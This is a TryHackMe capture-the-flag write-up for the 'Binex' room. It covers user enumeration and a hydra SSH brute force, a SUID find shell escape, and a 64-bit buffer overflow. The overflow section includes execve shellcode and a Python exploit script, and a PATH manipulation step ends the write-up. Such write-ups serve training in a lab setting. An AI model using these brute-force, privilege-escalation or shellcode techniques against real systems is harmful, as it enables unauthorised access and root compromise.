Binex — THM Writeup

Escalate your privileges by exploiting vulnerable binaries.

Nmap

nmap

enum4linux

Let’s Run a enum4linux For User Enumuration

enum4linux -R 1000-1050 <ip>

usernames

So we have a 4 usernames now we run a hydra brute-forcing the SSH service.

Hydra

hydra -l tryhackme -P rockyou.txt ssh://<ip>

password

SSH

tryhackme

What is the contents of /home/des/flag.txt?

Let’s check user des have any SUID binaries.

find / -type f -perm -u=s -user des -ls 2>/dev/null

find

So we can execute the find command as a des user.

Get r00t4c1d (Rishi)’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

GTFOBins

/usr/bin/find . -exec /bin/sh -p \; -quit

User Des

flag.txt contains login crdential… switch user to des

Buffer Overflow#2

Looking at the home dir of des user. we can see executable bof file and bof64.c source code. executable bof file is owned by a kel. so we need no exploit bof to get a user kel.

• Hint 1: Step to overflow 64-bits buffer
• Step 1: Generate a pattern, copy and paste this as input to the binary (use pattern_create.rb from Metasploit)
• Step 2: Read and copy the value from register RBP for the offset.
• Step 3: Calculate the offset. (use pattern_offset.rb from Metasploit)
• Step 4: Try control the register RIP with the following payload Junk*(offset value) + 8 bytes of dummy
• Step 5: Read the stack or register RSP to find a suitable return address.
• Step 6: The general payload should be like below Nop + shellcode + Junks + return address
• Hint 2: Working shellcode \x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05
• Hint 3: Running the payload with the binary (python -c "print('\x90'*(fill in the number) + (shellcode) + 'A'*(fill in the number) +(return address))";cat) | ./bof64

des@THM_exploit:~$ echo $(python -c 'print("A" * 650)') | ./bof
Enter some string:
Segmentation fault (core dumped)

Payload

from struct import pack
#buf="\xcc"*8
buf="\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
payload="\x90"*400
payload += buf
payload += "A" * (208 -len(buf))
payload += "B" *8
payload += pack("<Q", 0x7fffffffe300)

print payload

PATH Manipulation :: Binary 3

ROOTED